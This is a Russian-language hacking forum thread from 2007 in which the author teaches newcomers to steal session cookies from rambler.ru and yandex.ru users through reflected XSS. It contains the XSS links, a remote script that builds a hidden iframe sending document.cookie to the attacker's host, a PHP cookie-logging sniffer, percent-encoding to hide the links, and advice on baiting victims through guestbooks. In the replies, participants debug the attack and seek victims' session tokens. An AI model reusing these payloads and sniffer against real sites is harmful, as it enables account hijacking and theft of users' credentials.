Авторские статьи Возможность использования xss на yandex.ru и rambler.ru

Discussion in 'Статьи' started by AFoST, 5 Oct 2007.

  1. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Эта статься посвящена в основном новичкам. Я в ней описываю вариант использования XSS на 2х известных ресурсах рунета в подробностях, чтобы всё неясное стало ясным. В статье представлено все необходимое для проведения полноценной атаки типа XSS кража куки, но это не значит, что её надо реализовывать и воровать чужие данные. Я лишь пытаюсь показать, что и у таких крупных ресурсов есть свои дыры.

    В один из приятных летних вечеров я, как обычно =), зашел на один из форумов по инф. безопасности...Зашел в раздел XSS, увидел туеву хучу уязвимостей на разных сайтах. Ну, подумал я, не любоваться же на них, и начал искать известный сайтик, чтобы провести полноценную атаку =) Но, собственно, меня не интересовали сайты типа kirpich.org.com.net.ru или forum.gallery.garazhiki.us.ua.up.ui.ut, а хотелось чего-то более известного и раскрученного, чем пользуются большинство обычных юзеров...Вскоре на страницах форума я нашёл xss на яндексе и рамблере, что не могло не радовать =)
    Вот они:

    Code:
    http://www.rambler.ru/db/support/feedback.shtml?name="<script>alert(/hello, dear user!!!/)</script>
    http://www.nco.yandex.ru/?&sort=<script><script>alert(/hello, deaD user!!!/)</script>
    Дальше...
    Надо их использовать для своих целей, правильно? А иначе нахрена бы они нам сдались =) Так вот, немного подумав, переписал XSS следующим образом:


    Code:
    http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
    http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie );</script>

    Даже не спрашивайте, почему я написал по-разному...Сам хз, так легли звёзды =)

    Разберём XSS на www.rambler.ru:

    Code:
    http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
    Здесь, вместо банального alert(/hello, юзер/) я вставил код, который загружает js-скрипт с другого сайта...В 1.js я написал скрипт, который вставляет на страницу скрытый фрейм. Фрейм, в свою очередь, обращается к пхп скрипту на сайте

    Code:
    src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'";
    Т.е. он отправляет GET-запрос на сайт с параметром

    Code:
    h=['+location.host+']:'+document.cookie+
    В этом параметре передаются хост, с которого был отправлен запрос и, самое важное, cookie юзера. Все эти данные обрабатываются пхп-скриптом и представляются в читабельном виде =) (о пхп дальше...)
    Вот сорц самого 1.js:

    Code:
    document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');

    Теперь разберём XSS на яндексе:

    Code:
    http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie);</script>
    Здесь я не стал загружать скрипт с удалённого сайта, как в первом случае, а написал сам скрипт, который перенаправляет броузер на мой сайт и передает куки юзера пхп-скрипту...

    И самое главное, разберём, что же написано в самом пхп-скрипте:
    Код
    Code:
    <?php
    $fp = fopen("cookies.html","a");
    fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>".
    $_SERVER['QUERY_STRING']."<br><br>".
    " USER_AGENT: ".$_SERVER["HTTP_USER_AGENT"]."<br>".
    " REMOTE_ADDR:  " .$_SERVER["REMOTE_ADDR"]."<br>".
     " HTTP_REFERER: " .$_SERVER["HTTP_REFERER"]
    );
    
    fclose($fp);
    echo "<script>document.location.replace('http://google.com');</script>";
    ?>
    
    Последней строчкой кода, я перенаправляю страницу с моего сайта на гугль, хы =), далеко не каждый пользователь запалит, что он был на моём сайте, и офигеет, увидев, что он попал на гугль =)
    После всего проделанного выше, регистрируемся на любом бесплатном хостинге с поддержкой пхп и размещаем в нужном месте нужные файлы. Потом берём подготовленные XSS-ссылки, ищем пару-тройку гостевых книг и пишем там всякую лабуду, вызываюшую интерес, страх и лень(качества присущие всем (= ), и вставляем ссылки =)

    После того, как юзер зайдет на ссылку у нас остаются логи, прилизительно следующего содержания:

    Code:
    _________[05.09.07 15:12]
    h=[www.some_site.ru]:hotlog=1
    
    USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
    REMOTE_ADDR: 111.111.111.111
    HTTP_REFERER: Field blocked by Outpost Firewall (http://www.agnitum.com) 
    Для меньшего пропаливания xss-ссылок можно использовать перекодировку. Например xss на яндексе после не сложного шифрования будет иметь такой вид:

    Code:
    http://www.nco.yandex.ru/?&sort=%3C%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D
    %65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F
    %6D%79%73%69%74%65%2E%72%75%2F%72%65%63%2E%70%68%70%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E
    %63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E
    
    Вот, собственно и всё. Если есть замечания или пожелания, пишите здесь или в асю. С наилучшими пожеланиями, FoST 8-794-038.

    (с) FoST
    12.9.2007, 20:47

    Впервые статья была опубликована здесь http://forum.prologic.su/index.php?showtopic=1263
     
    #1 AFoST, 5 Oct 2007
    Last edited: 17 Apr 2010
    2 people like this.
  2. GRAVITY

    GRAVITY New Member

    Joined:
    29 Aug 2007
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
    Нупский вопрос - а он не ворует куки получается:? По крайней мере в логах не увидел
     
  3. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Ёпт! А если я бы написал "вид логов такой: [antichat.ru]:пиписька" ты бы спросил, "а что, он получается пиписьки с ачата ворует!? Это примерный вид того, что получается в итоге.
    в пхп у нас написано вот что:
    PHP:
    fputs($fp" <br><br><br>_________[".date("d.m.y H:i")."]<br>".
    $_SERVER['QUERY_STRING']."<br><br>".
    Это значит, скрипт записывает в логи значение переменной $_SERVER['QUERY_STRING'], а она берётся если в адресной строке написать линк следующего вида
    Code:
    http://your_site.net/script.php?some_text
    
    В моем случае после "?" была стрка hotlog=1, поэтому в логи записалось это:
    Code:
    h=[www.some_site.ru]:hotlog=1
    Я специально формировал ссылки с XSS чтобы скрипт обращялся к пхп-скрипту и после знака вопроса выставлял document.cookie.

    Если ещё не понятно, спрашивай, отвечу.
     
    3 people like this.
  4. GRAVITY

    GRAVITY New Member

    Joined:
    29 Aug 2007
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
    Вот такой вопрос - например я передал ссылку кому-нить, он на неё зашёл - и в лог сохранился куки - а к какой страничке относился этот куки ?
     
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    не к страничке, а к сессии ящика
     
  6. GRAVITY

    GRAVITY New Member

    Joined:
    29 Aug 2007
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
    Можно поподробнее про сессию ящика ??...
     
  7. Cawabunga

    Cawabunga Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    359
    Likes Received:
    165
    Reputations:
    -22
    Читай
    Форум АНТИЧАТ > ИНФО > Статьи
     
  8. GRAVITY

    GRAVITY New Member

    Joined:
    29 Aug 2007
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
    Ща я читаю вот это: :)
    http://forum.antichat.ru/thread32872.html
     
  9. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Очень удобный снифер находится по адресу
    http://s.netsec.ru/
     
  10. Tadeus

    Tadeus New Member

    Joined:
    3 Nov 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Блин, что-то на рамблере, у мну не пахаит Document.Location.Replace. Зато Document.Location.Href работает. Как через последнее можно передать cookies? :rolleyes:
     
  11. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Именно поэтому в статье для xss на рамблере я написал
    Code:
    http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>
    вместо document.location.replace. Там какая-то странная фильтрация идет =) Но этот вариант прокатывает.
     
  12. Tadeus

    Tadeus New Member

    Joined:
    3 Nov 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Блин, а на указание сорца оно ваще не реагирует! Я положил туда алерт - нифига. Стукни в асю, плиз ;)

    420-069-087
     
  13. Impuls*

    Impuls* Elder - Старейшина

    Joined:
    3 Oct 2007
    Messages:
    75
    Likes Received:
    6
    Reputations:
    -1
    Кто знает это еще актуально???????Скажите ДА)))хотелось бы знать, а то недавно нашел, хочу провернуть кое-что)
     
  14. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    утром алерт на рамблере работал на ура
    без комментариев
     
  15. Impuls*

    Impuls* Elder - Старейшина

    Joined:
    3 Oct 2007
    Messages:
    75
    Likes Received:
    6
    Reputations:
    -1
    Народ, хэлп!
    Я сделал все, как написал AFoST.Скрипты брал его, все залил на сервер от freehostia.com
    Сам зашел, проверить работоспособность - не фига :( не создал файл.
    Да, может я что не правильно делаю, как передать себе куки жертвы??с меня ++
     
  16. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Была найдена ошибка в php-сниффере. Присутствовала лишняя фигурная скобочка, исправил, если не поможет, стучи.
     
    #16 AFoST, 4 Nov 2007
    Last edited: 5 Nov 2007
  17. Impuls*

    Impuls* Elder - Старейшина

    Joined:
    3 Oct 2007
    Messages:
    75
    Likes Received:
    6
    Reputations:
    -1
    Я ее сам нашел))все пашет.
     
  18. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Сниффер в изначальном варианте был немного сложнее, была проверка на некоторые параметры, забыл скобочку убрать блииин... :)
     
  19. Impuls*

    Impuls* Elder - Старейшина

    Joined:
    3 Oct 2007
    Messages:
    75
    Likes Received:
    6
    Reputations:
    -1
    2 AFoST,
    хотел спросить...вот я все сделал как надо, но у меня нет записей rsid в куках.
    Есть логин, ruid, а эта чать просто не передается.
    Помогите пожалуйста!!Нужно что-то добавить? :) как получить эту часть на rambler.ru
     
  20. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    rsid только на mail.rambler.ru
    id.ramber.ru может еще где-то)
     
    #20 inv, 5 Nov 2007
    Last edited: 5 Nov 2007